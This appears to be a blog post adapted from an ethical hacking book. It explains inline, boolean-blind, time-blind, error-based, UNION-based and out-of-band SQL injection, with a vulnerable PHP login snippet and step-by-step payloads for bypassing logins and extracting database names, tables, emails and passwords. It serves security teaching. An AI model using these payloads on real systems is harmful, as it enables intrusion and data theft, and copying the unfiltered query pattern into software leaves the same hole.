SQLi is a security vulnerability in web applications that allows an attacker to inject SQL commands into a database query.
These attacks make it possible to read, modify, or delete data. There are different types of SQLi, which you will learn about in the following sections.
Inline SQL Injections
If user input is inserted into SQL commands without being filtered, attackers can manipulate it. This happens, for example, in login forms such as the following:
$username = $_GET['username'];
$password = $_GET['password'];
$sql = "SELECT * FROM users WHERE username = '$username' AND password =
'$password'";
The user enters their username and password via a login form. The two input values are then inserted directly into the SQL command without being checked, as if they were secure. This is a typical error that makes SQLi possible in the first place.
An attacker now enters the following payload into the form:
alice' --
The password can be chosen arbitrarily or, if there is no frontend or backend check, omitted altogether. This results in the following SQL command:
SELECT * FROM users WHERE username = 'alice' --' AND password = '';
The apostrophe ' at the end of the username terminates the original string. -- initiates an SQL comment. Everything that comes after it is ignored. All that remains for the DBMS is the following:
SELECT * FROM users WHERE username = 'alice';
If there is a user named alice in the database, they will be found regardless of the password. The application then believes that the login was successful, even though no password was verified.
Vulnerabilities that can be triggered by SQLi allow an attacker to log in without valid credentials, read database contents, modify or delete data, and even take control of the entire server.
Boolean-Based Blind SQL Injections
In a blind SQLi, the attacker does not receive a visible error message or a direct return value from the database. Nevertheless, they can extract information from the database by specifically testing conditions, in particular through Boolean-based or time-based behavior.
Boolean-based blind SQLi is based on yes/no questions. It exploits the fact that a web application executes SQL queries internally and their success or failure can be determined externally by their behavior, even though no direct error messages or data content are returned. The attacker therefore does not receive complete information but only binary feedback such as true or false, 1 or 0, user exists or user does not exist, and two different versions of a page. However, by asking clever questions, the attacker can guess individual characters, values, or structures in the database.
Imagine a web application that checks whether a username is already taken during registration. This check is performed via the following API endpoint:
https://example.com/api/check_username?name=florian
The response in JSON format looks like this:
{"available": false}
The application uses the following SQL query internally:
SELECT * FROM accounts WHERE username = '%name%' LIMIT 1;
If a username exists, the query returns a result and the API returns available: false, meaning that this username cannot be reregistered. If there is no match, available: true appears.
You now want to explore the database step by step using only the available response, which returns only two possible values. We start with a value that is very unlikely to exist:
https://example.com/api/check_username?name=testuser123
In this case, the response is:
{"available": true}
Then you add a condition:
testuser123' AND 1=1 --
The URL is now:
https://example.com/api/check_username?name=testuser123 AND 1=1 --
If the application returns available: false, then you know that the SQL part after the input was executed and is true. If you use AND 1=2 instead, the response should be available: true, because the condition is false.
Now try to guess the name of the database with the following SQL statement:
SELECT * FROM accounts WHERE username = 'testuser123' AND database()
LIKE 'a%' LIMIT 1;
To do this, you can use the following example:
https://example.com/api/check_username?name=
testuser123' AND database() LIKE 'a%' --
If the response is {"available": false}, then you know that the database begins with a. If {"available": true} appears, continue with another letter, e.g., b%, c%, etc. This technique can be repeated with all ASCII characters until you have determined the complete database name. Once you have determined that the database is called webdata, for example, search for existing tables using information_schema.tables:
testuser123' AND EXISTS (
SELECT * FROM information_schema.tables
WHERE table_schema = 'webdata' AND table_name LIKE 'u%'
) --
If the response is {"available": false}, then a table beginning with u exists, and if {"available": true} is returned, then no such table exists. This allows you to determine that there is a table called users, for example.
Now check which columns exist in the users table:
testuser123' AND EXISTS (
SELECT * FROM information_schema.columns
WHERE table_name = 'users' AND column_name LIKE 'p%'
) --
The goal is to find column names such as password, pass, phone, etc. Again, repeat the process with different initial letters until the response {"available": false} appears. Once you know that there is a username and password column, you can query the specific content:
testuser123' AND EXISTS (
SELECT * FROM users WHERE username = 'admin' AND password LIKE 'a%'
) --
The response {"available": false} means that the password begins with a. The response {"available": true} means that the password does not begin with a. This allows you to reconstruct the password or password hash character by character.
Time-Based Blind SQL Injections
Time-based blind SQLi is a technique in which the application does not return any visible data or error messages. Instead, the success of the SQLi is determined by the duration of the server response. The delay is deliberately generated by an SQL function such as SLEEP(x) or, depending on the database system, pg_sleep(x). However, this only happens if a condition is met. Such attacks are particularly dangerous in APIs that only return an HTTP status code or an empty response, such as {"status":"ok"} or HTTP/1.1 200 OK. Although an attacker cannot see whether an SQL query was successful, they can tell by the response time. If it is unusually long, the condition was met and the SLEEP() command was executed.
Imagine a website that offers a newsletter. When users sign up, the source (referrer) is stored. The following SQL command is executed in the background:
INSERT INTO subscribers (email, referrer) VALUES ('$email',
'$referrer');
Later, the API offers the following function:
https://newsletter.example.com/api/checkreferrer?ref=xyz
This API internally checks via SQL query whether a specific referrer entry exists:
SELECT * FROM subscribers WHERE referrer = '$ref' LIMIT 1;
The API's response is either {"valid":true} or {"valid":false}. However, no error message or visible effect is displayed here in the event of syntax errors, and the application filters out SQL errors.
Since you do not see any output, use SLEEP() to obtain information about time behavior. For example, try to determine whether SQLi is possible at all by inserting a SLEEP() command:
https://newsletter.example.com/api/checkreferrer?ref=test OR SLEEP(5)-- -
If the response is delayed by about 5 seconds, you know that the payload has been executed. Now that you know that SQLi is possible, test how many columns there are in the internal SELECT query. To do this, we use the UNION SELECT approach. With UNION SELECT, you can combine two or more SELECT queries into a single result set, or in other words, you stick the table rows together. The database executes both queries one after the other and returns the results in a list as if they came from a single table:
ref=test' UNION SELECT SLEEP(5)-- -
No delay? Then the number of columns is too small. Next, try:
ref=test' UNION SELECT SLEEP(5),1-- -
Still no delay? Then try this:
ref=test' UNION SELECT SLEEP(5),1,2-- -
As soon as a delay occurs, you know that three columns exist, because only then does the UNION SELECT command work correctly.
Now you want to determine whether the name of the database begins with n:
ref=test' AND (SELECT IF(SUBSTRING(DATABASE(),1,1)='n', SLEEP(5), 0))-- -
If the response is delayed, you know that the first letter is n. If not, keep trying other letters until you get a 5-second delay. This way, you can determine that the database is called newsletterdb, for example.
Now check character by character whether there are tables that start with s, for example:
ref=test' AND (SELECT IF(EXISTS(
SELECT * FROM information_schema.tables
WHERE table_schema='newsletterdb' AND table_name LIKE 's%'),
SLEEP(5), 0))-- -
Is there a delay? Then there is at least one table with s%. This allows you to discover a table called subscribers, for example.
Now search information_schema.columns for columns in the subscribers table that begin with e:
ref=test' AND (SELECT IF(EXISTS(
SELECT * FROM information_schema.columns
WHERE table_name='subscribers' AND column_name LIKE 'e%'),
SLEEP(5), 0))-- -
You then test character by character for e%, em%, ema%, emai%, and email, and you will discover the email column. Assuming you now know the column name email but want to determine a specific value, you can use the following payload:
ref=test' AND (SELECT IF(SUBSTRING((SELECT email FROM subscribers LIMIT
1), 1, 1)='f', SLEEP(5), 0))-- -
If the first character is an f, there will be a delay. Then continue with fa, fab, fab@, etc., until you get the email address fabian@example.com.
Error-Based SQL Injections
Error-based SQLi exploits error messages from the database that are returned directly to the user by the web application. Many systems return a detailed error message when an incorrect entry or faulty SQL command is entered, such as:
SQL error: You have an error in your SQL syntax near '1'' at line 1
This allows an attacker to draw conclusions about the underlying database structure, the SQL syntax used, and the table and column names. A typical attack scenario is the use of the ORDER BY or GROUP BY clause with a non-existent column or column number:
?id=1 ORDER BY 10
If there are fewer than ten columns, the database returns an error, which is an indication of how many columns the original query has. Syntactic errors or targeted malfunctions can also be exploited to explore the structure of the database.
UNION-Based SQL Injections
UNION-based SQLi is based on the possibility of combining multiple queries using the SQL statement UNION SELECT and outputting the results simultaneously. You already applied this principle in time-based SQLi. The goal is to return additional data from other tables, such as usernames, passwords, email addresses, or credit card numbers. A query such as
SELECT name, email FROM customers WHERE id = '$id';
could be manipulated with the following input:
?id=1 UNION SELECT username, password FROM users --
This executes the following:
SELECT name, email FROM customers WHERE id = '1' UNION SELECT username,
password FROM users;
It is important to note that the number and order of the columns in the SELECT part must match each other exactly. That is why attackers usually test beforehand with ORDER BY or NULL values to see how many columns there are:
?id=1 UNION SELECT NULL, NULL FROM users;
If this query is successful, the real table can be combined with the users table.
Out-of-Band SQL Injections
Out-of-band SQLi is used when the application does not provide any visible feedback and no time delays are possible. Instead, the database is tricked into communicating with an external system controlled by the attacker, for example via HTTP, DNS, or FTP. However, this requires the underlying database to be able to establish external network connections.
The attack uses two separate communication channels: one channel for sending the SQL query and one channel for receiving the response, such as by intercepting a DNS or HTTP request that the database sends to a server controlled by the attacker on the attacker's instructions.
Conclusion
SQL injection comes in several forms, but every type covered here depends on the same opening: user input that gets inserted into a SQL command without being checked. What changes from one attack to the next is how the attacker gets information back, whether through error messages, combined query results, yes-or-no responses, delayed server responses, or requests sent to an external system. Even when an application returns nothing useful on the surface, a patient attacker can still piece together database names, tables, and passwords one character at a time. Understanding how each variant works makes it much easier to spot where an application might be vulnerable.
Editor’s note: This post has been adapted from a section of the book Ethical Hacking: The Practical Guide for Pentesting and Red Teaming by Florian Dalwigk. Florian is an expert in cybercrime, cyberespionage, and IT security. After studying computer science, he worked for a security agency and has been a volunteer lecturer since 2024, teaching modules on "Ethical Hacking," "IT Forensics," "Cyberespionage," "Cybercrime and Crypto Forensics," and "Post-Quantum Cryptography," among others. As an author of specialist books, he conveys his knowledge in a clear and practical way. He is interested in the interface between technological innovation and security, particularly in the context of state-controlled cyber operations and cryptographic resilience in the post-quantum era.
Comments